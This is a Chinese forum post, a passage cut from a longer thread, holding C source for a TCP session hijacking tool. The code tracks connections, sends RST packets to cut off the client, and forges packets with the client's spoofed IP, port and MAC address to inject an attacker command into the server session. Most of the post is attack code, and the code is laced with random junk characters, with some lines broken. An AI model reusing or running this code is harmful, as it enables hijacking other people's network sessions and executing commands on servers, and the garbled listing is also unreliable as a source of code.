- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); 4 D% f2 e& l6 d7 H! b
//reset action flag
6 h4 g8 N" j; O! W) }$ O ResetActionAllFlag(); % H7 s$ p n& W( `" U
}
! ?/ M2 w/ R+ S# {; r9 c) U4 L& g; B$ S5 _$ \ //start hijack
" F3 ?9 M6 _% p( p' b! L5 ^ else if(g_dwAction == ACTION_HIJACK) 1 w8 d( J0 I6 z( V
{
3 ]* Z, q0 h* |7 l% ^: t; h. U1 m //send rst packet to client , X8 v3 i- {$ x9 d" j
SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); : d7 U+ r$ G$ _! }6 J2 D5 G
//send hijack packet to client % i: g! X. J" _/ W5 o
SendHiJackPacket(pTCPPacket);
% h& o+ }( h1 i, T1 K% S //reset action flag - [+ }0 \7 l$ C
ResetActionAllFlag();
/ W2 O4 t+ |$ s, D4 A1 c) z3 ~5 o }
5 y4 t( p, x+ ^+ c# f } 9 P4 e4 a% x' z3 ~7 J2 G
//show the tcp data
; ] N! ~" Y) G: }3 `8 i if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
; ^+ a& C/ y' G6 i1 \# `* E {
5 l5 d, T0 U. u8 _( t: Q% O ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 4 G$ ?; |( v1 j
//暂不考虑IP、TCP头不是20字节的情况 8 G' j _$ d' e( B( \! z
//pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 9 K: g g( X- x- r9 C
pStr = (char *)pTCPPacket + 54; 2 U2 J/ H) Z& N
for(i=0; i } 3 E+ q9 @! \' n! k( F+ F) n
}
* k" M- ^. ]" ~) V //debug output
8 q4 F6 W6 U7 z3 k //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); * B, n1 {! W3 z3 y; V
}//end of analyse packets while
) M8 m0 L, k6 x- ~: R; ^ }//end of recv packets while 1 y( e' G E, Y( K% X
PacketFreePacket(lpRecvPacket);
, [6 j1 n _) x7 E" o1 e0 k return 0; 4 V5 K6 V% Y) F7 t+ q5 M" e: W+ V* s
} 8 S. L W% r/ c
2 N9 n9 ]+ c5 }8 I
/ W" H* D8 U7 o: z// # E3 P+ N% Z' w* ~* A
//功能:操作记录所有连接信息的单向链表 ! k( Z) g2 B% J( g1 R+ \+ g8 P# ?$ m
// ( D* B' d+ }* V( i
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
7 Q6 o Z3 M/ @8 S" P h+ S USHORT uClientPort, BOOL bDelete, BOOL bAddNew) , c& H3 a& W; A: J1 l! P
{
# E& b6 ^. q' `; Z6 |% } PCONNINFO pNew, pTmp; $ E7 i7 x9 g$ d/ ^0 u! ~; \
+ |: ?# L; n* K7 B
pTmp = g_pConnHead; 9 _" a5 @4 R( A1 N& p
while(pTmp) & M; c$ q+ q2 ~' Q
{ ; W( P. d( N8 m8 r4 z4 I
if(pTmp->bActive) 4 h( _3 r# e% F
{
- F" F4 _+ p3 f. I5 i& ^) w0 s //found it * z1 s/ b' ^) C
if( (pTmp->dwServerIP == dwServerIP) &&
2 \/ F' ~* w3 h+ Z; r (pTmp->uServerPort == uServerPort) &&
; L- d/ z2 \6 x. \ (pTmp->dwClientIP == dwClientIP) &&
7 b$ ~) X. x6 G U* R9 | (pTmp->uClientPort == uClientPort) )
: r# s `8 k3 U- F { " o1 R. ~: M! H6 \. S
if(bDelete)
) _: [6 t" \- }1 V5 K) w { / R- A( W T* ^. i" {3 B( J
pTmp->bActive = FALSE;
- n1 w+ o( G0 {1 c1 w. W) c return 0;
1 I$ p/ {2 d6 n, f, O! T0 U/ f }
5 `3 K2 A# d W1 r else return pTmp->ident;
0 Q3 Y( r+ {) U5 g6 t1 {* z }
9 e: b$ T4 [- ?7 e } 2 u- x- S, t1 ]/ Z
pTmp = pTmp->Next;
A4 L" x( @6 {# N7 H }
; f1 }+ d. Q" a& ^1 q, y/ R //not found, create new node 6 g; r6 g4 d" q: x
if( (!pTmp) && (!bDelete) && (bAddNew) ) # k% G4 B$ d9 Y
{
* a c& ?8 Q- _7 L% r9 r7 F //search unactive note
8 m" p' K" c% t pTmp = g_pConnHead; - c9 o5 I( i- j. Z) ?/ V- _3 Q
while(pTmp) 1 C a8 k0 B* z w c
{
) k+ [. h h$ w& @; \8 L/ [ if(!pTmp->bActive) break; , H8 y) r3 \) w9 D/ o" p. Z* ?# L
pTmp = pTmp->Next;
$ `! `3 ^" J: A4 p2 a } 7 `# Z& W" S+ A: _" A, C* c- ~
//found a unactive node
5 p+ `$ f5 y* V* C if(pTmp)
O% \! @# ?3 l% Q3 L9 |7 }! o { ' j( Q! w3 [9 j8 Y( Z8 P
pTmp->dwServerIP = dwServerIP;
: [& o8 z+ E9 m- m$ U pTmp->uServerPort = uServerPort; ! Z7 b C; T1 \* a6 P" d3 _9 o
pTmp->dwClientIP = dwClientIP;
( x4 \2 C+ t: T) q% _. s pTmp->uClientPort = uClientPort;
# r) x* V% p; U9 ^3 x. V pTmp->bActive = TRUE;
2 v1 b, a( ?1 k4 p! R6 L return pTmp->ident;
, v6 W$ I7 d, C0 l } * \* Q6 V5 p; S0 r' Q
//not found,create new node " B1 X! T% }( Q& h
pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
: d. N# k G8 `2 ^, M if(!pNew) 5 T3 K+ P2 E% j9 e3 s$ g
{ / B. W4 m+ _. d
printf("malloc for link node error:%d\n", GetLastError()); : C8 F4 B2 @ H% Z" s
return 0;
$ G/ V U9 B. o6 J1 P0 l# |' [ } . }# S! Z! G: T% A
//fill the struct - Z! _9 N7 H0 I' @
pNew->bActive = TRUE;
8 n- S" f! e' T7 Q/ a2 b% M pNew->dwServerIP = dwServerIP; % T7 Z) J2 V- ]' P! v
pNew->uServerPort = uServerPort;
1 @9 U+ m. w( q; i$ L pNew->dwClientIP = dwClientIP; 8 _2 I' |; [) |: e2 _
pNew->uClientPort = uClientPort;
' d% D1 }, ]6 b& p3 J pNew->ident = ++g_ident; 4 W* H8 u) A; L+ j0 C! ^
pNew->Next = NULL; 4 Z# O2 a0 W% H
//add new node to link 5 d5 E; O0 M% _* ~9 [
if(!g_pConnHead) # a7 ~; V- B8 H& r0 s
g_pConnHead = g_pConnLast = pNew;
- C4 X5 k. ~ c else
$ z- G* X2 u1 \ {
7 V1 w) e/ Q& M5 m+ E( V g_pConnLast->Next = pNew; 1 v! {$ y/ ]5 a6 b5 |- Q3 n
g_pConnLast = pNew; 5 @+ f" y0 G* v, s
} . E9 W/ ] _. }3 }! k: @: w
return pNew->ident;
% }3 I1 [! y+ F% W/ o- i. L* A }
2 K3 o0 N: u$ q* v) v return 0;
# u* Z# t0 w# D}
# b& Q1 |' e3 m
% l7 A% q. @. }//
9 w+ i9 O" g3 f+ A//功能:判断一个数据包是不是只有ACK标志 & s" n4 T" s- E
//
) F4 z: K6 B" x! ^" k1 oBOOL IsACKPacket(unsigned char flag) $ f, [* \+ s/ S1 [" a* E, [
{ " Y' v" w& ]* r6 Z
int i, j=1; & j; S3 B8 O: g/ V/ H |4 `$ b" \
for(i=0 ; i<4; i++) 2 Q) e1 L9 ]% ?2 ~" D+ J2 h
{
! G" ]$ q0 y% C2 k% C) x if(flag & j) return FALSE;
5 m$ \, H @$ F) [2 M6 t$ k j <<= 1;
& z1 Y3 J- j8 f H8 \! W" G }
7 f' }$ ~7 C1 p1 w* c if(!(flag & 0x10)) return FALSE;//is ack?
; n* N, |) F7 o" Q- B- N if(flag & 0x20) return FALSE; . l3 V6 e( Q3 \' r2 l
return TRUE; " A/ r! z- M/ A+ E3 Y- z
} ' y- C: }4 Y9 T$ j
5 T1 N+ f# F5 G8 n5 A8 `8 J$ F
// , J! W/ r- n" a# |! M
//功能:伪装成Client给Server发送数据包 $ t. ?: H$ V" f, j$ u
//
. i5 P% g) W) }6 [BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
8 ^4 F# H+ ~, A! Z- d{ 0 P: D* V0 x; C* i. o( q
7 T& Y9 D3 Q9 ~! e' c2 u
char szBuff[1520]; ) H a) C" C5 w+ o8 q
PSDHDR psdhdr; 6 R3 P N& Y4 U B% ]$ e) v2 }
PTCPPACKET pHiJackPacket = NULL; 6 s! \- u2 W1 N4 _( ]. w
BOOL bRet = FALSE;
! f. Q- c' B7 J! o8 w
! [8 E) L% \+ H) q! c2 a __try 1 e7 X( y- o; B4 K
{ - e7 Y. U+ c; D0 |! a$ [% B3 y4 ~
// . S3 a% K K$ J X l) l5 n, ], {
if(!g_pCurrCtrlConn) __leave;
& s" `' ]- |( S+ b$ p$ S' T& [ //allocate memory for hijack packet
% k4 q- A7 J* W; S6 p pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
% Q: U4 M. L5 R- K( a8 W$ o B if(!pHiJackPacket)
$ q3 B; J' I5 K {
; m8 ? N8 _3 S printf("malloc error:%d\n", GetLastError()); 6 z8 m* }6 s0 F! a
__leave; # G+ W4 V$ P1 R6 ]
} x/ S: ^) q! s& r% d9 ?) V1 V
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
1 n4 f4 M9 f4 L //-------------- modify the packet ---------------// ) k" n( O ^; d4 @, @7 x
//modify ethernet head 2 @, ~2 a4 F8 q( k' ]" B5 N9 H" s
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
4 z' t* |) Q0 ^ memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
( H7 Y6 t q6 q( Q, ? //modify ip head " x/ X5 _7 ~. U0 x9 G% O) j
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 5 Z) G" w6 M, r9 M3 t7 `
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
9 ~' `: s# }6 V" A: r5 {1 U pHiJackPacket->iphdr.ident += 1;//标识加1
) A4 u! q" V1 |+ Q+ l pHiJackPacket->iphdr.checksum = 0;
$ C C2 o% ?1 p6 n5 W" D4 f) A pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client # N7 C& }, x" P' b* r7 |% T
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
O4 ]6 K* X9 I2 X //modify tcp head
% \5 k1 n( _! t, L, ]! h" d% g pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
* z* z3 z" e9 u$ i# ^; \4 Q3 F pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port - ]5 h5 M7 l- I4 N$ ?5 d
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 9 p6 H+ z4 u; h( Z+ A W
pHiJackPacket->tcphdr.th_flag = 0x18;// PA ; ], E" }% S! i6 V. R
pHiJackPacket->tcphdr.th_sum = 0; 8 _0 P! a7 }- M- y
pHiJackPacket->tcphdr.th_win = 0x3F44;
, ^' L$ @( g+ a7 J) T1 P //fill tcp psd head
# ^& @2 r* C4 P* \ psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; " g' ~% Q, J6 x; B; i
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
: p! P \6 m i: s. v( b4 \ psdhdr.mbz = 0;
" ^6 v# N, L$ S2 ^ psdhdr.ptcl = IPPROTO_TCP;
# N9 ~: e. A2 @1 ~3 J/ S' W8 l psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len + V) h5 e7 g' m' l! T
//calculate tcp checksum
1 @1 F, l. x. l7 t/ O1 }% S, K5 y* K memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
3 J( a- K) Q) |3 \8 R/ R memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
( t* _# [, e a. W6 C2 y memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
0 \+ Y. b+ ~" }; i. f9 l pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
. q- X+ Z( y2 m+ K" C3 D; y+ G //calculate IP checksum
$ F! q5 R/ |2 H$ l* k9 L: i, |& t0 y pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
1 {* p1 d; v9 B. \# V, H //fill send buffer
( C& ?1 {; p) O# s& C9 t; x7 @1 ^0 ^ memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 4 k* x( z q# j1 i H
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
7 c4 F3 P' K5 V4 r7 g" U& R memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
4 H$ Y& U) a& C. ?1 X1 s memset(g_lpSendPacket->Buffer, 0, 1514);
+ G) ]# E/ I' ~+ N; p9 O8 | memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); $ \2 V8 k) A' }3 @+ g8 W3 I
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) # ]4 K3 n5 W$ x
{
+ n f" B0 G- D7 | printf("Error sending the hijack packets!\n");
7 w+ ^# |: I, g0 \ __leave; 0 \' Q: Q6 u, D' y6 @
}
) f B+ p( v% V( P6 K else printf("Send hijack packet ok!\n");
' T: g6 {& Y! c9 T6 V1 N; A bRet = TRUE; 4 N5 v; u& {* ~* l- W n, e: D& Z
} |
|